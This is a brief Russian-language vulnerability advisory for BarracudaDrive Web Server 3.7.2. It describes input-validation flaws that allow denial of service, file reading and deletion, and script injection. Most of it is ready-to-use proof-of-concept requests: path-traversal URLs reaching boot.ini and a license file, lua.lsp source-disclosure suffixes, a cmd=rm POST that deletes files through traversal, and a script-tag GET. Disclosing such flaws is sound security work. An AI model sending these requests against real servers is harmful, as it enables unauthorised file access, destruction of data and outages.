Программа: BarracudaDrive Web Server 3.7.2

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую
систему, удалить, получить или просмотреть произвольные файлы, выполнить
произвольный HTML или script код. Уязвимость существует из-за ошибки в проверке
входных данных.

Пример:

http://www.example.com/\..\..\..\boot.ini
http://www.example.com/%80..\..\..\boot.ini
http://www.example.com/%ff..\bdlicense.dat

http://www.example.com/lua.lsp+
http://www.example.com/lua.lsp.
http://www.example.com/lua.lsp%80

POST /drive/c/bdusers/USER/?cmd=rm HTTP/1.1
Host: www.example.com
Cookie: "use the real user's cookie!"
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

dir=..\..\..\file.txt

POST /eh/chat.ehintf/C. HTTP/1.1
Host: www.example.com
Content-Type: text/plain
Content-Length: 0
Cookie: "use the real user's cookie!"

GET <script>alert('hello');</script> HTTP/1.0



Оставить мнение